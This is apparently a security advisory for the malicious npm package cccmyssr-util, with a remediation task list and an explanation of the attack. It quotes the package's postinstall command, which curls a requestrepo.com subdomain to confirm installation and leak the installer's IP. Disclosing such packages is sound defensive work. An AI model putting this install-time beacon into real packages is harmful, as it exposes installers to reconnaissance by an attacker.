MAL-2026-6390 Malicious code in cccmyssr-util (npm)
Malicious package
Published
MAL-2026-6390 is a malicious package: cccmyssr-util (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-6390/ (Markdown: https://insights.sbomify.com/MAL-2026-6390/index.md)
- Package
- cccmyssr-util
- Registry
- npm
What is MAL-2026-6390?
MAL-2026-6390 is a malicious package in cccmyssr-util, published on 24 Jun 2026.
Official description
On
npm install, the package's postinstall.js unconditionally executes exec('curl http://qvmjcw4s.requestrepo.com'), sending an HTTP callback to a unique subdomain on requestrepo.com — a public out-of-band HTTP/DNS interaction service commonly used to confirm successful code execution on a target. The callback discloses the installer's public IP and a successful-install signal to the listener controlled by whoever registered the subdomain. The package presents itself as a trivial date-formatting utility (index.js exports a one-line formatDate), with empty author metadata and a generic A harmless utility package description; there is no legitimate rationale for any install-time network I/O. The cover-story metadata combined with an unconditional install-time beacon to an OOB inspection endpoint matches the reconnaissance/dependency-confusion probe pattern.What should I do about MAL-2026-6390?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.